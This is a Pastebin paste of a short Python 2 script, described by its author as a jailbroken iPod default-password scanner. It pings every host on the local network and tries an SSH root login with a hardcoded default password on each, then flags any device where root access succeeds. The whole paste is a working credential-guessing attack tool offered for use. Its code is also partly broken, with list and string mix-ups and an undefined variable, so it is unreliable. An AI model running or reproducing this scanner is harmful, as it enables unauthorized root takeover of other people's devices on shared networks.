Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Jailbroken iPod default password scanner, make sure you install fping & paramiko
- #Written in Ubuntu by Ac3
- import paramiko
- import os
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- subnet = os.popen("ifconfig").read().split("inet addr:")[2].split()[0]
- print '[It appears your subnet is ' + subnet + ']'
- #find hosts on LAN
- print '[Scanning...]'
- #fping 171.17.0/24.0/24
- count = 0
- hosts = []
- def run():
- global count
- try:
- if h_t == h:
- return
- except:pass
- if count > 255:
- return
- s_count = str(count)
- x = os.system("fping -a -q -g "+subnet.split(".")[0]+"."+subnet.split(".")[1]+"."+s_count+".0/24 > temp"+s_count)
- h = open("temp"+s_count, "r").read().split('\n')
- if h[0] == '':
- run()
- else:
- hosts.append(h)
- h_t = h
- print '[Added ' + str(len(h)) + ' hosts]'
- os.system("rm temp"+s_count)
- count = count+1
- run()
- run()
- count = 0
- if len(hosts) == 0:
- print "[Done1]"
- exit()
- print "[Testing " +str(len(hosts))+ " hosts]"
- #test all the hosts
- def scan():
- global count
- if count > len(hosts):
- return
- try:
- hosts[count] = hosts[count].replace(" ","")
- print "Trying ["+hosts[count]+"]"
- ssh.connect(hosts[count], username="root", password="insignia91")
- stdin, stdout, stderr = ssh.exec_command("whoami")
- if stdout.read().split("\n")[0] == "root":
- try:
- os.system("notify-send Root Found")
- except:pass
- raw_input("ROOT ACCESS, HOST="+hosts[count])
- else:
- ssh.close()
- except:pass
- count = count + 1
- scan()
- scan()
- print '[Done]'
- exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement